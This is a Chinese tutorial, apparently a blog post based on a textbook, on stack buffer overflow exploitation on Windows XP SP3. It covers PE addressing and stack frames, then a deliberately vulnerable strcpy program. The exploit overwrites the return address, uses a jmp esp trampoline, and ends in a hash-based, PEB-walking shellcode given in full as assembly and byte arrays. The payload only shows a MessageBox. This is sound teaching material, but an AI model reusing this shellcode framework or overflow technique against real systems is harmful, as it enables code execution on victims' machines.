本文基于win-xp-SP3,实际内存地址与环境有差异,需按实际调试结果为准。
基础概念
VA = Image Base + RVA
- File Offset:文件偏移,PE文件中数据相对于文件开头的偏移。
- Image Base:装载地址,PE装入内存的地址。默认EXE基地址是0x00400000,DLL是0x10000000。
- VA:Virtual Address,虚拟内存地址。PE中的指令被装入内存后的地址。
- RVA:Relative Virtual Address,相对虚拟地址。内存地址相对于映射基地址的偏移量。
PE文件是按磁盘数据标准存放,以0x200字节(512)为基本单位组织。当数据节不足0x200字节时,不足的地方被0x00填充,超过0x200,下一个0x200块将分配给这个节。
装入内存后,按内存标准存放,并以0x1000字节(4096)为单位组织。
节(section) | 相对虚拟地址RVA | 文件偏移量 |
---|---|---|
.text | 0x00001000 | 0x0400 |
.data | 0x00009000 | 0x7400 |
这种差异引起的节基址差称为节偏移:
.text节偏移 = 0x1000 - 0x400 = 0xc00
.data节偏移 = 0x9000 - 0x7400 = 0x1C00
调试时基于内存地址,要想确认对应的文件偏移,公式如下:
文件偏移地址 = RVA - 节偏移
LordPE可以查看PE文件的节信息,确认节的虚拟地址、装载地址、文件偏移,就可以确认其中一个内存指令对应的文件地址了。
栈帧介绍
下面以一段代码示例来说明函数调用时的栈帧情况。
- PUSH:为栈增加一个元素
- POP:从栈中取出一个元素
- ESP:该寄存器指向栈帧的栈顶
- EBP:该寄存器指向栈帧的底部
- EIP:指令寄存器,指向下一条等待执行的指令地址。
int func_B(int arg_B1, int arg_B2)
{
int var_B1, var_B2;
var_B1=arg_B1+arg_B2;
var_B2=arg_B1-arg_B2;
return var_B1*var_B2;
}
int func_A(int arg_A1, int arg_A2)
{
int var_A;
var_A = func_B(arg_A1,arg_A2) + arg_A1 ;
return var_A;
}
int main(int argc, char **argv, char **envp)
{
int var_main;
var_main=func_A(4,3);
return var_main;
}
栈从高地址往低地址发展,堆从低地址往高地址发展。
VC6.0默认使用__stacall调用方式:参数入栈从右到左,函数返回时堆栈平衡操作在子函数中进行。
函数调用步骤:
- 参数入栈:将参数从右向左依次压入栈中
- 返回地址入栈:将当前调用指令的下一条指令地址入栈,供函数返回时继续执行。
- 跳转:处理器从当前代码区跳转到被调用函数的入口
- 栈帧调整:保存当前栈帧状态值,EBP入栈;切换到新栈帧,ESP值装入EBP;给新栈分配空间,把ESP减去所需空间,抬高栈顶。
例如函数A调用函数B:
;A调用前,函数B有3个参数
push 参数 3
push 参数 2
push 参数 1
call 函数B地址;call 指令将同时完成两项工作: a)向栈中压入当前指令的下一条在内存中的位置,即保存返回地址。
; b)跳转到所调用函数的入口地址函数入口处
......
;函数B入口代码
push ebp ;保存旧栈帧的底部
mov ebp, esp ;设置新栈帧的底部(栈帧切换)
sub esp, xxx ;设置新栈帧的顶部(抬高栈顶,为新栈帧开辟空间)
函数返回步骤:
- 保存返回值:通常将函数的返回值保存在EAX中
- 弹出当前栈帧,恢复上一个栈帧:给ESP加上栈帧的大小,降低栈顶,回收栈空间;栈上保存的EBP值弹入EBP寄存器,恢复上一个栈帧;将返回地址弹给EIP寄存器。
add esp, xxx ;降低栈顶,回收当前的栈帧
pop ebp;将上一个栈帧底部位置恢复到 ebp,
retn;这条指令有两个功能: a)弹出当前栈顶元素,即弹出栈帧中的返回地址。至此,栈帧恢复工作完成。
;b)让处理器跳转到弹出的返回地址,恢复调用前的代码区
下图需要牢记心中,返回地址与漏洞利用有密切关系。

实践:利用栈溢出漏洞,弹出MessageBox
使用如下代码演示利用过程,从password.txt读取内容拷贝到buffer[44]模拟栈溢出。
使用VC6.0编译,默认编译选项,编译成debug版本。在password.txt中植入二进制机器码,运行后弹出一个消息框显示"hacktest"。
步骤:
(1)分析调试漏洞程序,获得淹没返回地址的偏移
(2)获得buffer的起始地址,并将其写入password.txt相应的偏移处,用来冲刷返回地址
(3)向password.txt写入可执行的机器码,用来调用API弹出一个消息框
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
1.分析调试漏洞程序,获得淹没返回地址的偏移
如果在 password.txt 中写入恰好 44 个字符,那么第 45 个隐藏的截断符 null 将冲掉authenticated 低字节中的 1,从而突破密码验证的限制。
出于字节对齐、容易辨认的目的,我们把“ 4321”作为一个输入单元。buffer[44]共需要 11 个这样的单元。
第 12 个输入单元将 authenticated 覆盖;第 13 个输入单元将前栈帧 EBP 值覆盖;第 14 个
输入单元将返回地址覆盖。
首先在password.txt写入11组“4321”,使用OllyDbg加载,通过View-->source file定位到strcpy(buffer,password);下断点,单步调试观察栈内容。
EBP:0x0012FB20位置的上方是"4321"和authenticated ,下方是返回地址。buffer[44]的内存地址是0x0012FAF0。53~56个字符的ASCII码值将写入栈帧的返回地址,成为函数返回后执行的指令地址。
也就是说将buffer[44]的起始地址0x0012FAF0写入password.txt文件中的第53~56个字节,verify_password 函数返回时会跳转到我们输入的字串开始执行。

2.获得buffer的起始地址,并将其写入password.txt相应的偏移处,用来冲刷返回地址
调用MessageBoxA(NULL, "hacktest", "hacktest", NULL)即可弹出一个对话框,MessageBoxA在user32.dll中,使用Dependency Walker可确认其入口地址为0x77D507EA。

调用MessageBoxA汇编指令对应机器码如下:
首先在栈上创建"hacktest"字符串,然后压入参数,最后CALL对应函数。
"hacktest/0"对应的从高内存-->低内存:
/0:PUSH 0
test:68 74657374 //PUSH 0x74736574
hack:68 6861636B //PUSH 0x6B636168


最后使用010 Editor编辑Hex码:
首先将上述调用MessageBoxA的机器码写入,第53~56字节覆盖返回地址为buffer起始地址0x0012FAF0,其余字节用nop 0x90填充。

3.向password.txt写入可执行的机器码,用来调用API弹出一个消息框
运行程序,成功弹出"hacktest"消息框。

改进:jmp esp
1.栈帧移位与jmp esp
上述实践,直接使用了buffer[44]起始地址0x0012FAF0,但是在实际环境中,漏洞代码可能在动态库中,每次运行buffer地址有可能不同,也就是所谓的栈帧移位。
通过观察栈结构,函数返回时,ESP恰好指向栈帧中返回地址的后一个位置!那么用内存中任意一个jmp esp指令的地址覆盖返回地址,那么就不用手动查shellcode的起始地址了,只需把代码覆盖到返回地址之后即可。

2.获取“跳板”地址
我们可以在共有dll中搜索jmp esp,诸如kernel32.dll、user32.dll之类的动态库几乎会被所有进程加载,且加载基地址始终相同。
jmp esp对应的机器码是0xFFE4,使用OllyDbg将OllyUni.dll放到Plugins目录中,可使用如图方法进行搜索。本机搜索出在kernel32中,地址为0x7C86467B。
Address=7C86467B
Message=Location found: jmp esp in kernel32.text

3.使用跳板的利用代码
我们把上节的利用代码改为使用jmp esp,并调用exit函数让程序顺利退出。
首先使用Dependency Walker获得ExitProcess的地址,该函数是kernel32.dll导出,地址为0x7C81CAFA。
调用exit(0):ExitProcess
;机器码 ;汇编
53 push ebx
B8FACA817C mov eax, 0x7C81CAFA
FFD0 call eax
“ 4321”作为一个输入单元。buffer[44]共需要 11 个这样的单元。第 14 个输入单元将返回地址覆盖。
第14个单元覆盖为jmp esp:0x7C86467B,shellcode跟在其后,前13个单元还用"4321"填充。
上节代码做如下红框修改,即可通过jmp esp定位shellcode,并且安全退出。

再改进:通用shellcode
上述实验,我们还是用了Dependency Walker获取MessageBoxA和ExitProcess函数地址。不同的系统版本、不同的补丁版本,地址是有差异的,所以需要一种自动获取函数地址的方法。
win_32 平台定位 kernel32.dll 中的 API 地址,可以采用如下方法:
- 首先通过段选择字 FS 在内存中找到当前的线程环境块 TEB。
- 线程环境块偏移位置为 0x30 的地方存放着指向进程环境块 PEB 的指针。
- 进程环境块中偏移位置为 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
- PEB_LDR_DATA 结构体偏移位置为 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
- 模块初始化链表 InInitializationOrderModuleList 中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。
- 找到属于 kernel32.dll 的结点后,在其基础上再偏移 0x08 就是 kernel32.dll 在内存中的加载基地址。
- 从 kernel32.dll 的加载基址算起,偏移 0x3C 的地方就是其 PE 头。
- PE 头偏移 0x78 的地方存放着指向函数导出表的指针。
- 导出表偏移 0x1C 处的指针指向存储导出函数偏移地址( RVA)的列表。
- 导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
- 函数的 RVA 地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的 RVA。
-
获得 RVA 后,再加上前边已经得到的动态链接库的加载基址,就获得了所需 API 此刻在内存中的虚拟地址,这个地址就是我们最终在 shellcode 中调用时需要的地址。
通常要对函数名做hash,获得定长摘要,以节省空间。本实验使用hash算法如下:
API函数名 | hash摘要 |
---|---|
MessageBoxA | 0x1e380a6a |
ExitProcess | 0x4fd18963 |
LoadLibraryA | 0x0c917432 |
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7));
digest+= *fun_name ;
fun_name++;
}
return digest;
}
main()
{
DWORD hash;
hash= GetHash("MessageBoxA");
printf("result of hash is %.8x\n",hash);
}
自动查找API:
int main()
{
_asm{
nop
nop
nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx // cut string
push 0x74736574
push 0x6B636168 //push hacktest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop
}
}
上述代码编译后,使用OllyDbg从PE中提取二进制机器码如下:
这段机器码,采用字符串copy会发生截断,例如"0A",所以使用方法直接跳转到数组执行。
lea eax, popup_general_note
push eax
ret
char popup_general_note[]=
"\x90"// NOP
"\xFC"
"\x68\x6A\x0A\x38\x1E"// PUSH 1E380A6A
"\x68\x63\x89\xD1\x4F"// PUSH 4FD18963
"\x68\x32\x74\x91\x0C"// PUSH 0C917432
"\x8B\xF4"// MOV ESI,ESP
"\x8D\x7E\xF4"// LEA EDI,DWORD PTR DS:[ESI-C]
"\x33\xDB"// XOR EBX,EBX
"\xB7\x04"// MOV BH,4
"\x2B\xE3"// SUB ESP,EBX
"\x66\xBB\x33\x32"// MOV BX,3233
"\x53"// PUSH EBX
"\x68\x75\x73\x65\x72"// PUSH 72657375
"\x54"// PUSH ESP
"\x33\xD2"// XOR EDX,EDX
"\x64\x8B\x5A\x30"// MOV EBX,DWORD PTR FS:[EDX+30]
"\x8B\x4B\x0C"// MOV ECX,DWORD PTR DS:[EBX+C]
"\x8B\x49\x1C"// MOV ECX,DWORD PTR DS:[ECX+1C]
"\x8B\x09"// MOV ECX,DWORD PTR DS:[ECX]
"\x8B\x69\x08"// MOV EBP,DWORD PTR DS:[ECX+8]
"\xAD"// LODS DWORD PTR DS:[ESI]
"\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A
"\x75\x05"// JNZ SHORT popup_co.00401070
"\x95"// XCHG EAX,EBP
"\xFF\x57\xF8"// CALL DWORD PTR DS:[EDI-8]
"\x95"// XCHG EAX,EBP
"\x60"// PUSHAD
"\x8B\x45\x3C"// MOV EAX,DWORD PTR SS:[EBP+3C]
"\x8B\x4C\x05\x78"// MOV ECX,DWORD PTR SS:[EBP+EAX+78]
"\x03\xCD"// ADD ECX,EBP
"\x8B\x59\x20"// MOV EBX,DWORD PTR DS:[ECX+20]
"\x03\xDD"// ADD EBX,EBP
"\x33\xFF"// XOR EDI,EDI
"\x47"// INC EDI
"\x8B\x34\xBB"// MOV ESI,DWORD PTR DS:[EBX+EDI*4]
"\x03\xF5"// ADD ESI,EBP
"\x99"// CDQ
"\x0F\xBE\x06"// MOVSX EAX,BYTE PTR DS:[ESI]
"\x3A\xC4"// CMP AL,AH
"\x74\x08"// JE SHORT popup_co.00401097
"\xC1\xCA\x07"// ROR EDX,7
"\x03\xD0"// ADD EDX,EAX
"\x46"// INC ESI
"\xEB\xF1"// JMP SHORT popup_co.00401088
"\x3B\x54\x24\x1C"// CMP EDX,DWORD PTR SS:[ESP+1C]
"\x75\xE4"// JNZ SHORT popup_co.00401081
"\x8B\x59\x24"// MOV EBX,DWORD PTR DS:[ECX+24]
"\x03\xDD"// ADD EBX,EBP
"\x66\x8B\x3C\x7B"// MOV DI,WORD PTR DS:[EBX+EDI*2]
"\x8B\x59\x1C"// MOV EBX,DWORD PTR DS:[ECX+1C]
"\x03\xDD"// ADD EBX,EBP
"\x03\x2C\xBB"// ADD EBP,DWORD PTR DS:[EBX+EDI*4]
"\x95"// XCHG EAX,EBP
"\x5F"// POP EDI
"\xAB"// STOS DWORD PTR ES:[EDI]
"\x57"// PUSH EDI
"\x61"// POPAD
"\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A
"\x75\xA9"// JNZ SHORT popup_co.00401063
"\x33\xDB"// XOR EBX,EBX
"\x53"// PUSH EBX
"\x68\x74\x65\x73\x74"// PUSH 0x74736574
"\x68\x68\x61\x63\x6B"// PUSH 0x6B636168
"\x8B\xC4"// MOV EAX,ESP
"\x53"// PUSH EBX
"\x50"// PUSH EAX
"\x50"// PUSH EAX
"\x53"// PUSH EBX
"\xFF\x57\xFC"// CALL DWORD PTR DS:[EDI-4]
"\x53"// PUSH EBX
"\xFF\x57\xF8";// CALL DWORD PTR DS:[EDI-8]
void main()
{
__asm
{
lea eax, popup_general_note
push eax
ret
}
}
参考
王清《0day安全:软件漏洞分析技术》
网友评论